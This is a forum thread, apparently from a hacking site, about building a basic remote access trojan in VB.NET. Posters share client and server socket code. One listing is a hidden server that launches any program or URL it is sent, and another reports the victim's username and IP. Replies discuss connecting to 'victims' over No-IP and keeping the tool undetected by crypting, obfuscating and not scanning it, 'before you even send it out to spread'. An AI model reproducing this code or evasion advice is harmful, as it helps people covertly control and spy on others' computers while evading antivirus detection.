```
Dim ipaddrs As String = ""
```

'Now put this sub in anywhere outside another sub

```
Public Function getpagehtml(ByVal url As String)
```

```
Dim objwc As New System.Net.WebClient()
```

```
Return New System.Text.UTF8Encoding().GetString(objwc.DownloadData(url))
```

```
End Function
```

'Then under form1 load put this

```
ipaddrs = getpagehtml("Http://www.whatismyip.com/automation/n09230945.asp")
```

'And then under a button one click put this, This is what adds the user to the table

```
dat("0*" + Environment.UserName + "*" + ipaddrs.ToString + "*" + "False" + "*" +
```

```
Application.ProductVersion.ToString)
```

This works 100% of the time for me. it should work for you. you can add more advanced bits to it. Like active window, and such.

Anubis - February 25, 2010, 2:45 pm

This is epic tut....

:D

Thank youu

Gent - February 25, 2010, 3:05 pm

I'm still fairly new to VB.Net. Where exactly do I add this? (Sorry, I have the noob.)

```
Code Private Sub connect()
```

```
ip = IPAddress.Parse(TextBox1.Text)
```

```
port = TextBox2.Text
```

```
Try
```

```
sock.Connect(ip, port)
```

```
Catch ex As Exception
```

```
MsgBox("Can not connect to designated ip at this time")
```

```
End Try
```

```
End Sub
```

```
[IMG]http://i50.[censored].com/63vbwp.png[/IMG]
```

corey - February 25, 2010, 4:07 pm

(Feb 25, 2010 04:05 PM)Joomla12 Wrote: [CITE](#) I'm still fairly new to VB.Net. Where exactly do I add this? (Sorry, I have the noob.)

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port = TextBox2.Text
Try
sock.Connect(ip, port)
```

```
Catch ex As Exception
MsgBox("Can not connect to designated ip at this time")
End Try
End Sub
```

That goes in the client if you are making it a reverse connection. But, If your making a direct connection. you would put it into the server.

--([S7N])-- - February 25, 2010, 7:09 pm

Once again corey, thanks for helping out the questioners. You rock.
Others, thanks for your comments.

ChineseFountain - February 25, 2010, 8:49 pm

Omigod.

Epic tutorial.

thanx. =3

--([S7N])-- - February 25, 2010, 8:59 pm

(Feb 25, 2010 09:49 PM)andrewp Wrote: [\[CITE\]](#) Omigod.

Epic tutorial.

thanx. =3

You're welcome.

corey - February 25, 2010, 9:19 pm

(Feb 25, 2010 08:09 PM)No0b Wrote: [\[CITE\]](#) Once again corey, thanks for helping out the questioners. You rock.

Others, thanks for your comments.

No problem. I do it all for the kids. Nah, Jk. I'm working on some other features. I'll post some when I get them done. If anyone has any request's? Post them here.

underscore3 - February 25, 2010, 10:48 pm

-----Client-----

```
Code Imports System.Net
Imports System.Net.Sockets
```

```
Public Class Form1
Dim sock As New TcpClient()
Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
Dim port As Integer = 6961
```

```
Private Sub connect()
ip = IPAddress.Parse(TextBox1.Text)
port = TextBox2.Text
Try
```

```
sock.Connect(ip, port)
```

```
Catch ex As Exception
```

```
MsgBox("Can not connect to designated ip at this time")
```

```
End Try
```

```
End Sub
```

```
Private Sub dat(ByVal dat As String)
```

```
Dim nstream As NetworkStream = sock.GetStream()
```

```
Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
```

```
nstream.Write(bit, 0, bit.Length)
```

```
End Sub
```

```
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
```

```
Handles Button1.Click
```

```
connect()
```

```
End Sub
```

```
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
```

```
Handles Button2.Click
```

```
dat("0*" + TextBox3.Text)
```

```
End Sub
```

Sorry to say it but you must adjust your code you did not end the first class and this do create errors.

xronaldx - February 25, 2010, 10:51 pm

i salute you sir noob nice tut!

--([S7N])-- - February 25, 2010, 11:04 pm

underscore3: Thanks for pointing that out, fixed.

Thanks for your comment xronaldx.

proisr - February 26, 2010, 2:45 am

I've add 'try' to dat() so the client won't crash if the data wouldn't sent successfully:

Spoiler ([Click to View](#))

```
Code Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
```

```
Handles Button3.Click
```

```
Dim failure As Boolean
```

```
Try
```

```
dat("1*" + TextBox4.Text)
```

```
Catch ex As Exception
```

```
MessageBox.Show(ex.Message)
```

```
failure = 1
```

```
End Try
```

```
If failure = 0 Then
```

```
MessageBox.Show("MSG sent successfully!")
```

```
End If
```

```
End Sub
```

But when I press the 'send' button, even if I'm not even logged in to a server, the "sent successfully" message is still being viewed.

If u didn't understand my lame English:

Press 'send' --> a message shown: ex.message --> a message show: "MSG sent successfully"
(Even when not logged in)

How can I make the succeed message be shown only when the data has been sent successfully?

edit:

Another question: how I can connect the server to the client via NO-IP?

So when the RAT server is opened, it will search for activity of his belong NO-IP server?

CustomiZer - February 26, 2010, 3:31 am

Nice tutorial. I'll try this out for sure..;)

--([S7N-J])-- - February 26, 2010, 5:23 am

(Feb 26, 2010 03:45 AM)proisr Wrote: [\[CITE\]](#) I've add 'try' to dat() so the client won't crash if the data wouldn't sent successfully:

Spoiler ([Click to View](#))

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Handles Button3.Click

Dim failure As Boolean

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Catch ex As Exception

MessageBox.Show(ex.Message)

failure = 1

End Try

If failure = 0 Then

MessageBox.Show("MSG sent successfully!")

End If

End Sub

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Another question: how I can connect the server to the client via NO-IP?

So when the RAT server is opened, it will search for activity of his belong NO-IP server?

You don't need to be logged in for this Basic RAT. It is not advanced like Cybergate or something.

And I don't know about No-IP.

proisr - February 26, 2010, 5:36 am

(Feb 26, 2010 06:23 AM)No0b Wrote: [\[CITE\]](#) You don't need to be logged in for this Basic RAT. It is not advanced like Cybergate or something.

And I don't know about No-IP.I want the server to recognize me every time when I'm activating the

client, and add him self to my 'online servers list'.

But when I'm trying to connect my NO-IP account (in the IP field- www.mydomain.no-ip.biz) I'm getting an error.

corey - February 26, 2010, 11:13 am

(Feb 26, 2010 03:45 AM)proisir Wrote: [\[CITE\]](#) I've add 'try' to dat() so the client won't crash if the data wouldn't sent successfully:

Spoiler ([Click to View](#))

```
Code Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button3.Click
    Dim failure As Boolean
```

```
    Try
        dat("1*" + TextBox4.Text)
    Catch ex As Exception
        MessageBox.Show(ex.Message)
        failure = 1
    End Try
    If failure = 0 Then
        MessageBox.Show("MSG sent successfully!")
    End If
End Sub
```

But when I press the 'send' button, even if I'm not even logged in to a server, the "sent successfully" message is still being viewed.

If u didn't understand my lame English:

Press 'send' --> a message shown: ex.message --> a message show: "MSG sent successfully"
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Another question: how I can connect the server to the client via NO-IP?

So when the RAT server is opened, it will search for activity of his belong NO-IP server?

You have this

Code Dim failure As BooleanBoolean is true or false. not a number. You cannot make a boolean into a number.

Try this

Code Dim failure As Boolean

```
    Try
        dat("1*" + TextBox4.Text)
        failure = true 'Might not be the exact syntax, I'm not in VS
    Catch ex As Exception
        MessageBox.Show(ex.Message)
        failure = false
    End Try
    If failure = true Then
        MessageBox.Show("MSG sent successfully!")
    else
        MessageBox.Show("There was an error sending your string!") 'Remove this if you want! :3
    End If
```

End Sub

Joey K - February 27, 2010, 3:18 am

Very nice example.

I will try this out.

--([S7N])-- - February 27, 2010, 3:22 am

(Feb 27, 2010 04:18 AM)Drake™ Wrote: [\[CITE\]](#) Very nice example.

I will try this out.

OK, please post back with your results.

proisr - February 27, 2010, 7:28 am

How can I convert my NO-IP url into an IP or just to connect via url? 'cuz when I'm trying to ping it via CMD I'm getting an error:

Spoiler ([Click to View](#))Ping request could not find host www.%mynoidomain%.no-ip.biz. Please check the name and try again. (in \$mynoidomain% I've inserted my domain)

And when I'm trying just to connect the no-ip address (without converting it to an IP address) I'm getting an error (something about only valid IP are allowed).

--([S7N])-- - February 27, 2010, 7:33 am

(Feb 27, 2010 08:28 AM)proisr Wrote: [\[CITE\]](#) How can I convert my NO-IP url into an IP or just to connect via url? 'cuz when I'm trying to ping it via CMD I'm getting an error:

Spoiler ([Click to View](#))Ping request could not find host www.%mynoidomain%.no-ip.biz. Please check the name and try again. (in \$mynoidomain% I've inserted my domain)

And when I'm trying just to connect the no-ip address (without converting it to an IP address) I'm getting an error (something about only valid IP are allowed).

If you are trying to use No-IP with this RAT, it doesn't work with No-IP DNS or whatever...

If you are facing problems with No-IP, post about the problem somewhere else.

proisr - February 27, 2010, 7:48 am

(Feb 27, 2010 08:33 AM)No0b Wrote: [\[CITE\]](#) If you are trying to use No-IP with this RAT, it doesn't work with No-IP DNS or whatever...

If you are facing problems with No-IP, post about the problem somewhere else. Why not? 'cuz it's DC and not RC?

In any way, how can I connect to a NO-IP DNS

Another question: I've tried changing id(0) from number into string like this:

client side: Code dat("SomeString*")server side: Code ElseIf id(0) = "SomeString" Then
 MessageBox.Show("working")

End IfBut the server didn't show anything.

When replaced the string with a number, it worked.

So does the id(0) must have numeric value?

corey - February 27, 2010, 12:37 pm

(Feb 27, 2010 08:48 AM)proisr Wrote: [\[CITE\]](#) Why not? 'cuz it's DC and not RC?

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When replaced the string with a number, it worked.

So does the id(0) must have numeric value?No it works with me, For example.

My remote desktop feature works like this

Code dat(RemoteDesktop*User or IP*1) 'or 0 if I'm turning it off. then each client does a check, if there username or ip matches. It begins sending me a stream of there system.Then they would reply with a stream of their system like this

Code dat(RemoteStream*User/IP*STREAM DATA)And my stream would go into a picture box. It works the same way with a webcam, and keylogger. So this should work.

Code if id(0) = "RemoteStream" then

'Stream to pic box here

end if

The id's work like this. you have a string, with a * after it.

Code string*That means "String" is id 0. So in the function

Code if id(0) = "String" then

msgbox(id(0))

end ifThat should have a msgbox appear with the word "String".

But if you were making id 0 a flag of sorts. It would work like this

Code you would need to send the flag + * + the 2nd id, like this

dat("Flag*2nd string!")

if id(0) = "Flag" then

msgbox(id(1))

end ifThat should make a msgbox come up with the words "2nd string!".

Code You base each id of of the *. So F*L*O*P

F = 0

L = 1

O = 2

P = 3But if you made it like this

Code F*L*O*P*Then there would be an id 4.

But it would be null.

/End my rant on id's

Learn4Life - February 27, 2010, 12:53 pm

Guys, do some one can help me, give me some idea how to make the server to have multi connection?

corey - February 27, 2010, 1:16 pm

(Feb 27, 2010 01:53 PM)Learn4Life Wrote: [\[CITE\]](#) Guys, do some one can help me, give me some idea how to make the server to have multi connection?

Look into threading. or asynchronous tcp.

proisr - February 28, 2010, 3:11 am

Thanks correy, it's working now :)

Do you have any suggestions on how to connect my 'victim' into my client via NO-IP server (reverse connection)

Because when I'm trying to connect to the URL I'm getting an error (the ip must have xx.xx.xx.xx form)

fleischi93 - February 28, 2010, 6:23 am

Could you post a screenshot of the Client please?

I really don't know where to place the labels..

--([S7N])-- - February 28, 2010, 6:40 am

(Feb 28, 2010 07:23 AM)fleischi93 Wrote: [\[CITE\]](#) Could you post a screenshot of the Client please?

I really don't know where to place the labels..

Hm... I might post one. I'm not on my laptop (which has VB and all my projects). Might post it tomorrow, is that okay?

corey - February 28, 2010, 3:36 pm

(Feb 28, 2010 04:11 AM)proisr Wrote: [\[CITE\]](#) Thanks correy, it's working now :)

Do you have any suggestions on how to connect my 'victim' into my client via NO-IP server (reverse connection)

Because when I'm trying to connect to the URL I'm getting an error (the ip must have xx.xx.xx.xx form)

I think the problem is the parsing of the IP. It's like

Code ip = IPAddress.Parse(TextBox1.Text)You need to remove the parsing.

So, Maybe try

Code ip = "Your No-IP" You may have to dim ip as a string

Code dim ip as string = string.empty 'or just "" This may work, or, May not.

Make a backup of your project before you try this! And I'll post a picture of my server/client later on.

proisr - March 5, 2010, 1:11 am

(Feb 28, 2010 04:36 PM)corey Wrote: [\[CITE\]](#) I think the problem is the parsing of the IP. It's like

Code ip = IPAddress.Parse(TextBox1.Text)You need to remove the parsing.

So, Maybe try

Code ip = "Your No-IP" You may have to dim ip as a string

Code dim ip as string = string.empty 'or just "" This may work, or, May not.

Make a backup of your project before you try this

! And I'll post a picture of my server/client later on.

OK, thanks.

I'll try it right now!

Anubis - March 6, 2010, 6:39 am

Thanks for this broo..

--([S7N])-- - March 6, 2010, 8:59 am

(Mar 6, 2010 07:39 AM)Anubis™ Wrote: [\[CITE\]](#) Thanks for this broo..

Yeah, you are welcome.

---T-rex--- - March 6, 2010, 9:02 am

But soon it will become detectable by AV , so what can i do to make it again FUD runtime/scantime?

--([S7N])-- - March 6, 2010, 9:04 am

(Mar 6, 2010 10:02 AM)---T-rex--- Wrote: [\[CITE\]](#) But soon it will become detectable by AV , so what

can i do to make it again FUD runtime/scantime?
Try crypting or obfuscating.

---T-rex--- - March 6, 2010, 9:06 am

ok i think i will do crypting cuz i don't know how obfuscating ;)

--([S7N])-- - March 6, 2010, 9:24 am

(Mar 6, 2010 10:06 AM)---T-rex--- Wrote: [\[CITE\]](#) ok i think i will do crypting cuz i don't know how obfuscating ;)

Read my tutorial on obfuscation. Simple, yet effective.

<https://hackforums.net/showthread.php?tid=253768>

---T-rex--- - March 6, 2010, 9:37 am

Ok tanx for advice i will read it ;)

corey - March 6, 2010, 11:24 am

(Mar 6, 2010 10:02 AM)---T-rex--- Wrote: [\[CITE\]](#) But soon it will become detectable by AV , so what can i do to make it again FUD runtime/scantime?

Don't scan with virus total. It should remain FUD long enough. You should crypt it once it's no longer FUD. Crypting/obfuscating will do the job. This will also help protect people from decompiling your application. So you should obfuscate it before you even send it out to spread.

Great Prosperity - March 6, 2010, 7:33 pm

What about special features and a screen to see them?

0xE9 - March 6, 2010, 7:35 pm

can someone post a source on this o keep getting errors in my project.

--([S7N])-- - March 7, 2010, 1:31 am

(Mar 6, 2010 08:33 PM)Pokefer Wrote: [\[CITE\]](#) What about special features and a screen to see them?

Read the title, it says Basic RAT. Not like those professionals.

proisr - March 7, 2010, 7:14 am

(Mar 6, 2010 10:02 AM)---T-rex--- Wrote: [\[CITE\]](#) But soon it will become detectable by AV , so what can i do to make it again FUD runtime/scantime?

Why do you think so?

This is only the basic of RAT making, each one will make from this his own RAT...

The code that no0b gave us just start a connection between 2 PCs, it has nothing to do with getting detected by AV cuz this code is not harmful.

Mr Fool - March 7, 2010, 1:47 pm

Really nice ?

Thanks ?

Have Nice Day ?

.InSaNe - March 8, 2010, 4:41 pm

nice tut dude well done

Weed. - March 9, 2010, 1:06 pm

thanks, helped me out alot...

Sage Mode - March 9, 2010, 7:18 pm

Awesome, going to try making this :P.

DarkOne1 - March 16, 2010, 7:45 am

Is it possible making a chat program with vb 2008? Without opening ports

--([S7N])-- - March 16, 2010, 8:00 am

(Mar 16, 2010 07:45 AM)DarkOne Wrote: [\[CITE\]](#) Is it possible making a chat program with vb 2008? Without opening ports

http://vb.net-informations.com/communications/vb.net_chat_server_program.htm

OR

<http://www.bigspeed.net/articles/securechatvb7/securechat.html>

0xE9 - March 17, 2010, 2:48 pm

Can someone post a source of this with a listview with coreys tutorial on page 9-13 ,please

NF C10Wn - March 31, 2010, 7:02 am

Unfortunately this tutorial is not working for me any ideas?

xFic - March 31, 2010, 7:23 am

Very helpful, thanks.

Joey K - March 31, 2010, 8:38 am

The only bad thing about this tutorial, it that it doesn't show reverse connection.

--([S7N])-- - March 31, 2010, 8:50 am

(Mar 31, 2010 08:38 AM)Drake™ Wrote: [\[CITE\]](#) The only bad thing about this tutorial, it that it doesn't show reverse connection.

Well, I really don't know much about programming RATs and stuff... I saw your source, really great. But I hardly understood it lol. I need to go learn some network programming or something...

Bosanac - April 5, 2010, 11:29 am

Great Tutorial Thanks :D

Mr Kewl - April 5, 2010, 11:40 am

Dude Just Great Work I will Try This

TheIncinerator - April 5, 2010, 1:08 pm

Looks like a great tutorial dude, keep up the good work

Cryptic - April 6, 2010, 3:01 am

Didn't really understand the bit and the end of the server part where you said add this to "form1_load", I couldn't find it. So I just quit then.

Modesty - April 7, 2010, 12:15 am

(Apr 6, 2010 03:01 AM)Cryptic™ Wrote: [\[CITE\]](#) Didn't really understand the bit and the end of the server part where you said add this to "form1_load", I couldn't find it. So I just quit then.

Imaooooo thats quite hilarious. If you don't know where form1_load is, you shouldn't be trying this. But anyways, to get form1.load, just double click on the form (the form, not a component like a

button or label) in designer view, and then it will switch to code view with form1_load written

BigBen84 - April 10, 2010, 6:50 am

Great tutorial, Hoping for more.

GodWall - April 10, 2010, 6:23 pm

This is a gr8 tut thanks, helped me understand allot about RATS. And I was able to make this, thanks :) this was a good place to start learning thanks again.

OptiikzZ™ - April 10, 2010, 6:41 pm

Very nice well Explained TUT Bro

Khornet - April 10, 2010, 8:21 pm

Very nice tutorial, plan on trying it out once i reinstall VB on laptop. Thanks

Warhawk - April 15, 2010, 1:21 pm

Great tutorial!

Note: When you create a network stream in the server you will get 5 errors with that code.

I fixed the code myself.

```
Code Private Sub check()  
    If sock.Connected = True Then  
        sock.SendTimeout = 5000  
        Try  
            Dim nstream As NetworkStream = sock.GetStream  
            Dim bit(sock.ReceiveBufferSize) As Byte  
            nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))  
            Dim str As String = System.Text.Encoding.ASCII.GetString(bit)  
            Dim id() As String = Split(str, "*", -1, CompareMethod.Text)  
        Catch  
        End Try  
    End If  
  
End Sub
```

WhoWanaKnow - April 15, 2010, 3:45 pm

I was making a RAT last month but never got the TCP part right if i can fix it then thanks you saved my life!

If not then lets stick with nice tut ?

Russkiy the Fox - April 15, 2010, 4:56 pm

Way to give credit to the original author of this tutorial.

Travy - April 15, 2010, 5:15 pm

Very nice guide, it looks like you spent alot of time on it.
Thanks.

codepoet - April 22, 2010, 4:22 pm

very nice and very well Explained...thanks

--([S7N])-- - April 22, 2010, 7:57 pm

Thanks for all your kind words!

LRGtho - April 26, 2010, 2:58 am

Hey guys, sorry if this is a scrub question but... I understand the code and compiled it and it worked flawlessly on my network.. But lets say idk....? i wanna control one of my other computers connected to a different network. Would that server / other computer need its ports forward to the specified port in your code? as well as mine as a client? or will it work without having to do so, assuming both computer are behind routers. not worried about FUD.

--([S7N])-- - April 26, 2010, 3:06 am

Yes, I believe the ports need to be forwarded from the client PC. If the server connection isn't found, forward that as well. By the way, this won't give the remote access like other RATs, just a basic tutorial showing you how to connect two computers.

Indaflame - May 7, 2010, 6:43 pm

wow very nice tutorial

Cooldude™ - May 7, 2010, 11:02 pm

Nice tut, i will try it later.

tony-san_darkstar - May 8, 2010, 2:04 pm

It's microsoft visual basic right?

Scrat - May 8, 2010, 2:12 pm

--([S7N])-- Strikes again! Sick tut mate!

tony-san_darkstar - May 8, 2010, 2:52 pm

I tried to open it and nothing happen... (the client)...

Covalent5 - May 9, 2010, 6:18 am

Nice going! Where is the advanced one ? (the one that i snot limited on local computers)

--([S7N])-- - May 9, 2010, 7:28 am

(May 9, 2010 06:18 AM)Covalent5 Wrote: [\[CITE\]](#) Nice going! Where is the advanced one ? (the one that i snot limited on local computers)

There is an example of an Advanced Reverse Connection RAT, search for it.

[EPIC] LOL [EPIC] - May 11, 2010, 12:05 pm

Awesome! Thanks for posting this :D

dreamer00 - May 24, 2010, 9:01 am

wow gr8 tut... it helps me learned alot.... specially when i'm trying to learn vb.net :) thanks alot

Thug Life - May 28, 2010, 7:50 am

Awesome work S7N, Favorited! :D

av3ng3dwarri0r - June 6, 2010, 1:08 pm

A truly amazing tutorial! Best I'e seen on HF so far!

S!rk0 - June 6, 2010, 2:15 pm

Very nice tutorial man, thx you for the sharing :D

Apple - June 6, 2010, 4:10 pm

It's not a stable server tbh.

//mickey - June 8, 2010, 8:37 am

Thanks for this tut :)

Doesn't have a list of features that belongs in a spoiler tag, but very helpful for noobs like me :p
Quite easy to add stuff to also, I was able to add many new features without having more than 2 days of prior knowledge, again thanks for this awesome tut

jkanzaki - June 8, 2010, 9:34 pm

thanks for sharing this will try this later ?

Verbal Seduction - June 21, 2010, 9:28 pm

You're the man S7N this was a great tutorial I was currently making a rat, and this helps even more =]

WhiteFlame - June 23, 2010, 12:53 pm

Yhh

It's works thanks :)

Now I have the basic reverse connect I will add in some commands and it will be pwnage :P

Thanks

ApplesMinino - June 25, 2010, 1:34 am

Thanks for the tutorial, I may or may not try it.

Neroxan - June 25, 2010, 1:56 am

Oh my, well this is a great tutorial.

Awesome job explaining everything dude.

Eyes - June 26, 2010, 7:14 am

Wowowo very nice tut

Very helpful Thanks !! :D

freshfish - June 28, 2010, 8:02 am

Damn, thank you for sharing this !!

M0D3M - July 2, 2010, 1:53 pm

(dumb question) what r the labels supposed 2 be called

Aidejonas - July 10, 2010, 12:16 pm

Very Nice, Thumbs Up!! Gonna try this

hklcf - July 13, 2010, 12:00 am

Very nice, thanks for share. Let's me try!

PlatinumHex - July 27, 2010, 1:08 am

Thank you.

I have some questions though:

1, Would this tool work world-widely?

2, Why do I have to re-start the server if the client was re-started?

Thanks again!

sumit8510 - July 27, 2010, 1:43 am

This is a great tutorial, I can use a little later to learn more!

Julipino - August 3, 2010, 10:47 am

Hmm I did it and everything, got no errors on the script, but when i try to run it, I always get an error.

Like with my keylogger maker from Soul_Collector's Tut.

I dunno if it's my visual basic that is making errors or my computer, need help please?.

groudonk - August 4, 2010, 8:21 am

Well Done , Very Good tut :)

ManUnited - August 19, 2010, 3:13 pm

All I can say to this is 'Wow' this has to be one of the most interesting to read TUT's I have ever come accross so far, thanks a bunch for this it was 10/10.

hackthegalaxy - August 19, 2010, 5:56 pm

Hey man how bout sending a message or shutdown command or change the text of the title to connected to server if you could help me with some advanced shit i would be so fucking grateful!!

Deceptive - August 19, 2010, 6:01 pm

(Aug 19, 2010 05:56 PM)hackthegalaxy Wrote: [\[CITE\]](#) Hey man how bout sending a message or shutdown command or change the text of the title to connected to server if you could help me with some advanced shit i would be so fucking grateful!!

1. Your a Dumbass.
2. You bumped an old thread.
3. If you can't do a simple thing and copy and paste 5-6 lines of code, Then you can officially earn this UserBar!

[img]http://i38.[censored].com/1xkqd.gifp[/img]

PlatinumHex - August 21, 2010, 12:50 am

Thanks for the tutorial.

Please tell me how to send files with this or transfer VB Objects ?

I tried the FileOpen, FileGet, dat("0*" & fileread) method but doesn't work.

Shippage - August 21, 2010, 12:53 am

Very nice tutorial, giving step by step help instead of giving the script kitty's a download.

Braco Asshole - August 21, 2010, 7:38 am

Very nice tutorial --([-S7N-)]--.

NoNoMoMo - September 1, 2010, 12:00 am

Thank you very much for this, I recently wanted to start learning to code in VB, And this helped me a lot especially with explaining what the code did. And i appreciate that! this is the second program i have made. The first was simpler in my opinion, But i didn't learn as much, Well i did but mostly only about SMTP (i think its that or its SMPT) Thanks again for your help!

Brazen Hax - September 3, 2010, 7:39 am

Nice tut. Im going to try this out.

lewismarsh - September 4, 2010, 2:10 am

TYVM dude awesome guide and it works!! ur da best but can u make a new tut on like how to see there cam or make messages pop up plz?
but awesome guide!

ahh it was workin but not now help plz?

i click conect and its OK when i try open google nothing happens..

Obi-Wan Cannabis - September 4, 2010, 8:02 am

Bookmarked my friend! x)

too short

Kris` - September 4, 2010, 2:12 pm

Bookmarked this thread, nicely done.

radiation28 - September 6, 2010, 3:29 am

I have question. I have in server textbox1 with text = "fucker". How can client get that text?

HorusL - September 6, 2010, 4:12 pm

Thank you for posting this tutorial! I have found it very useful. I would like to know how one can have the client auto-connect to the server(s) without having to input a IP/Port.

Thank you

horusl

c6p0 - September 6, 2010, 4:28 pm

thanks a lot man great for learn !
nice for know the basis of a RAT.

ananui81 - September 7, 2010, 2:22 pm

Looks very very good .. I'll try it in a bit ?

Nequ - September 18, 2010, 11:36 am

Thanks for this. I was really proud of myself when I made my first rat.

Z?us - September 27, 2010, 6:02 pm

Look's sexy to me, Nice add.

bini - September 28, 2010, 12:32 am

dude thanks for sharing this tutorial. i been looking for this many times.thanks!! thanks!!

APTO - September 30, 2010, 1:17 am

going to do this tonight when i get back from college, hopefully i can expand it to a pretty advanced RAT. :)

-Dj JoShZoR

Zoobiker - October 2, 2010, 9:18 pm

This i pretty cool but i cant seem to get the server to work this is what i did but it isnt opening ports

or i cant connect to them?.

```
Code Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32
```

```
Public Class CCCC
```

```
    Dim port As Integer = 6991
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Dim place As String
```

```
    Private Sub listen()
```

```
    Try
        tcpc.Start()
        sock = tcpc.AcceptTcpClient()
    Catch ex As Exception
    End Try
```

```
End Sub
```

```
    Private Sub check()
```

```
    If sock.Connected = True Then
        sock.SendTimeout = 5000
        Try
            Dim nstream As NetworkStream = sock.GetStream
            Dim bit(sock.ReceiveBufferSize) As Byte
            nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
            Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
            Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
```

```
            If id(0) = 0 Then
                Dim stri As String = id(1)
                Process.Start(stri)
            End If
            Catch ex As Exception
            check()
        End Try
    End If
End Sub
```

```
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
```

```
    While sock.Connected = False
        Try
            listen()
        Catch ex As Exception
        End Try
    End While
```

```
While True
```

```
check()
End While
Me.Hide()
End Sub
End Class
```

corey - October 2, 2010, 11:53 pm

Hi, this thread is over a year old. And although it has some content which you may find useful. It has been dead for some time. Please do not threads that are old. I understand you are (or not) new here, but please have some respect for the new threads with active posters. There are more efficient and multithread/asynchronous basic rats/booters here on Hackforums. Please use the search feature here: <https://hackforums.net/search.php> to search for whatever you may need. But once again, try not to old topics. Here are two threads which I have found for you on the first two pages. You can pickup a new project there.

Code <https://hackforums.net/showthread.php?tid=708624>

<https://hackforums.net/showthread.php?tid=704022> These two have some sources you can download and use. Thanks for understanding. If you need any non code specific help (for example, how to open a project or anything of that sort. I wont deal with code errors as there is so much and so little time) please feel free to PM me here:

<https://hackforums.net/private.php?action=send&uid=91487>

Thanks.

Joseph Ducreux - October 3, 2010, 12:05 am

only 40% of computers got .net framework 3.5 (which is required for this to work)

Deceptive - October 3, 2010, 12:09 am

(Oct 3, 2010 12:05 AM)Hamilcar Barca Wrote: [\[CITE\]](#) only 40% of computers got .net framework 3.5 (which is required for this to work)

More then that, atleast 70%.

warskull - October 3, 2010, 4:07 am

Very nice tut!

Thanks, it's really good :)

Tuxx95 - October 16, 2010, 5:43 pm

epic tut

is there any chance someone could put up a tut for advance ratting?

DaRkReD - October 16, 2010, 5:44 pm

(Oct 16, 2010 05:43 PM)tuxx95 Wrote: [\[CITE\]](#) epic tut

is there any chance someone could put up a tut for advance ratting?

nope as this is deprecated aswell as you could just search for it

Toxic Waste - October 16, 2010, 6:28 pm

Well done, I love the layout :)

Tuxx95 - October 17, 2010, 12:04 pm

(Oct 16, 2010 05:44 PM)DaRkReD Wrote: [\[CITE\]](#) nope as this is deprecated aswell as you could just search for itI havent seen any out there but ill look harder

dv0rn - October 18, 2010, 3:19 pm

Very nice tutorial,thanks.

DaRkReD - October 18, 2010, 5:56 pm

(Oct 17, 2010 12:04 PM)tuxx95 Wrote: [\[CITE\]](#) I havent seen any out there but ill look harder
xSilent is making a series as you speak..

also look at sources dont copy and paste just simply look

APTO - November 1, 2010, 3:29 am

Will be doing this when i get home from college! Thank you for the Guide. Greatly appreciated.

rayrock - December 9, 2010, 7:42 am

Great tutorial mate. Thanks for your time.

SentinelDefender - December 11, 2010, 11:47 am

I will try this...It looks real.... There is one same tut online....lol u copy/paste it...lol...but nvm this one doesn't include f**k in almost every sentence hehehe

marvinn - December 26, 2010, 2:16 am

thanks for this tuts :) it helps me alot!

I'm trying to make my own rat with multiple connections not just one :x

Thankss!

Florin Salam - January 19, 2011, 11:56 pm

Well nice tutorial , but I dun understand:

- 1.where to put ftp client code!?
- 2.Where should I add this code:?
Private Sub listen()

Try

tcpc.Start()

sock = tcpc.AcceptTcpClient()

Catch ex As Exception

End Try

well yeah ! I dun understand server tutorial !:(I mean those things that i wrote + ...)

shadow1992 - January 20, 2011, 12:33 am

All the "Rats" are fud . . . in fact antivirus cannot detect applications that using tcp and udp protocol cause if they do that, then all your programs from callofduty to messenger will get detections! The problem comes to when you are using ffor example a a processes killer in your client so it will be detected!

Webhouse - January 20, 2011, 2:36 am

The problem is if you have code which modifies memory (probably shared memory) your av will pick it up.

Ryuchet - January 20, 2011, 9:02 am

Well nice tutorial , but I dun understand:

- 1.where to put ftp client code!?
- 2.Where should I add this code:?
Private Sub listen()

Try

tcpc.Start()

sock = tcpc.AcceptTcpClient()

Catch ex As Exception

End Try

well yeah ! I dun understand server tutorial !:(I mean those things that i wrote + ...)

Same thing! Help

Doctor Stein - January 20, 2011, 10:52 am

Perfect Tut thx you good share

Ryuchet - January 20, 2011, 11:13 am

can someone help me!??? or please upload a source for me

Thanks

ayteck - January 20, 2011, 1:22 pm

(Jan 20, 2011 12:13 PM)Ryuchet Wrote: [CITE](#) can someone help me!??? or please upload a source for me

ThanksLeach away please ?

Centrius - January 28, 2011, 5:55 am

Nice Guide, love it !!

too short

Nexum - February 1, 2011, 1:45 pm

Nice Tut, does this Have to be in VB.NET? Or can I use VB 2010?

kyra123 - February 2, 2011, 8:42 am

Very good tut but maybe you should have used images so those learning dont just copy and paste ,but good keep it up and thanx for the post.

SIM-137033 - February 3, 2011, 12:45 pm

Good tut a lot easier than the C++ way.

XurXes - February 18, 2011, 1:38 pm

Love the guide, although i got lot's of errors.

But it's a good guide none the less.

Congrats on 400 rep :D

Exclusive - February 22, 2011, 8:55 pm

Awesome tutorial, too bad i dont understand that much LMAO

I got up to the part where you started posting random shit -

"connect()

This calls the function connect() which allows the socket to try and connect to the designated port/IP

Now do the same thing to button 2,and for the button2_click put

```
dat("0*" + TextBox3.Text)
```

This calls the dat() function and attaches the string "0*" which is the ID of the string being sent to the server plus the text in textbox 3 which should be a path to an application such as "c:\windows\virus.exe" or something or it can also be a webpage you want opened like "http://www.freewarestoinfectmycomputerwithviruses.com" without the quotes of course. So the string sent would look like this.

```
0*http://www.freewarestoinfectmycomputerwithviruses.com
```

The is needed to separate the string once it is decoded in the server, so if you want to send more than the id and 1 string you need to separate them with
Like this:

```
dat("0*" + TextBox3.Text + "*" + TextBox4.Text)
```

